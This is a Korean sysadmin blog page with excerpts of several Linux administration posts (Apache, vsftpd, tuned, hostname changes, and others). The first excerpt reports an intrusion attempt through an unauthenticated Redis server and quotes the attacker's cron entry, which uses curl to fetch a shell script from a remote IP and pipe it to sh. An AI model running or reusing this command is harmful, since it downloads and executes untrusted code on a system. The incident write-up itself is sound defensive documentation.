신선의 유유자적 생활

관리하고 있던 리눅스 서버를 점검중에 침입 시도를 발견하여 글로 남겨봅니다. 자세한 분석은 다음에.. Redis를 암호를 걸어두지 않고 원격접속을 허용하여 두었더니 침입 시도를 발견하였습니다. 검색해보니 이런 비슷한 방법인 듯 : http://blog.pages.kr/2198http://antirez.com/news/96https://www.v2ex.com/t/234520#reply25 발견한 사항 redis 서버에 새로운 key값 3개가 생성되어 있었음. 1. aaivwlczyp */1 * * * * /usr/bin/curl -fsSL http://64.140.174.129:8220/test9.sh | sh 2. uioottsohz */1 * * * * /usr/bin/curl -fsSL http://..

1. Xwindow가 아닌 Command 모드로 Console 시작하기 vi /etc/inittab Xwindows환경 설치시 기본값 id:5:initdefault: Command모드 바꿔서 사용 id:3:initdefault: 로 변경 2. ntsysv를 실행해 불필요한 서비스를 부팅시 시작에서 제외 3. 네트워크 카드 설정 vi /etc/sysconfig/network-scripts/ifcfg-eth0 - 정보 확인 lspci cat /proc/cpuinfo uname -a netstat -nr ethtool eth0 vmstat 5 5 ps aux ifconfig 4. tuned yum -y install tuned chkconfig tuned on service tuned start tuned-a..

일단 mod_cband를 다운받는다 tar 로 압축을 풀고 해당 폴더에 들어가서 configure, make, make install을 하면 설치가 끝나는데 apxs 경로를 지정해 주어야 한다. 필자의 경우 ./configure --with-apxs=/usr/local/apache2/bin/apxs 로 해주면 문제없이 설치가 이루어 졌다. 만약 경로를 모르는 경우 apxs경로를 찾기 위해 find / -name apxs를 통하여 경로를 찾아내면 된다. which apxs도 한번 이용해보기 바란다. ==================================== SetHandlercband-status Orderdeny,allow Deny from all Allow from열어줄아이피 SetHandler..

예를들어 mydomain.co.kr/test/index.html 에 접근한다고 합시다. mydomain.co.kr/test 로 접속하면 404에러 mydomain.co.kr/test/ 로 접속하면 제대로 접근이 됩니다. 이럴때는 httpd.conf에서 우선 mod_dir.so 모듈이 제대로 들어오는지 확인하고 DirectoryIndex설정과 혹시나 모듈단에서 Redirect 설정이 Off되어있는지 확인합니다. 그래도 안된다면!!! UseCanonicalName On -> Off로 설정을 해줍니다.

Xmanager라는 국내 상용 프로그램이 있긴 하지만 '상용'이기에 접근하기 어려운 면이 있다. 공개된 외산 프로그램으로 Cygwin/X 라는 프로그램이 있다. http://x.cygwin.com/ [ 홈페이지 ]

Re: MySQL gem Installation Problems Posted by: Michael Economy () Date: April 03, 2008 11:08PM this was what finally worked for me: # gem install mysql -- --with-mysql-config=/usr/lib64/mysql/mysql_config

/etc/sysconfig/netword 파일에서 원하는걸로 수정. /etc/hosts 에서 수정된 이름으로 벼경 reboot

How To Harden PHP5 With Suhosin On CentOS 5.3 http://www.howtoforge.com/how-to-harden-php5-with-suhosin-on-centos-5.3-p2

시스템에 설치되 있는지 확인 rpm -qa | grep vsftpd 1. 설치되있지 않을 경우 다음과 같이 설치를 합니다. yum install vsftpd 2. 설정 FTP 서비스 시작 : /etc/rc.d/init.d/vsftpd start FTP 서비스 종료 : /etc/rc.d/init.d/vsftpd stop 부팅시 자동 실행 : chkconfig vsftpd on 설정 완료후 xinetd 재실행 : /etc/rc.d/init.d/xinetd restart 3. /etc/vsftpd/vsftpd.conf 주요 설정 # anonymous 사용자의 접속 허용 여부 anonymous_enable=NO # 로컬 계정 사용자의 접속 허용여부 local_enable=NO # write 명령어 허용 여부 w..